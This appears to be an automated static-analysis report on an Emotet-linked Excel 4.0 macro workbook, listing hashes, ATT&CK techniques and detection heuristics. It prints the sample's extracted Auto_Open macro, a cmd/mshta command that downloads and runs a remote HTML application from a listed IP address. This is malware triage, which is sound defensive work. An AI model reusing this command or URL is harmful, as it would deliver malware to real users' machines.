Emotet — Office (OLE) / .XLS malware analysis

Static analysis result for SHA-256 32a7b5e460d24719…

MALICIOUS

Office (OLE) / .XLS

90.3 KB Created: 2022-01-27 23:33:44 Authoring application: Microsoft Excel
MD5: ea45c925ecc4de79a49d78abc106f201 SHA-1: 908a15a7c772848f2855a2006409e82c9f1583da SHA-256: 32a7b5e460d24719ca0affe8d2d3da77730721a76680895cdddf3badadb4f98d
322 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1204.002 User Execution: Malicious File T1059.003 Command and Scripting Interpreter: Windows Command Shell T1218.011 System Binary Proxy Execution: Mshta T1059.005 Command and Scripting Interpreter: Visual Basic for Applications T1059.005 Command and Scripting Explorer: Excel 4.0 Macros (XLM)

The sample is an Excel 4.0 macro-enabled workbook that uses an Auto_Open entry to execute a command. The extracted XLM macro in cell C3 contains the formula EXEC("cmd /c set ooo=mshta http://91.240.118.172/ee/ss/se.html & echo %ooo% | cmd"), which uses the environment variable trick to obfuscate the same URL. The ClamAV detection specifically identifies this as Emotet, and the use of mshta.exe to fetch a remote HTML application file is a classic Emotet delivery pattern.

Heuristics 8

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • ClamAV: Doc.Downloader.EmotetRed02220-9938645-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetRed02220-9938645-0
  • Reference to mshta.exe high SC_STR_MSHTA
    Reference to mshta.exe
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://91.240.118.172/ee/ss/se.html

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
712daaadef5bb5a097700650c710c5cfa82b295835e03515a82f90167f9f4c8e		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 540 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 shell/COM execution token(s). Carved macro source contains an auto-exec entry point and execution/download terms.

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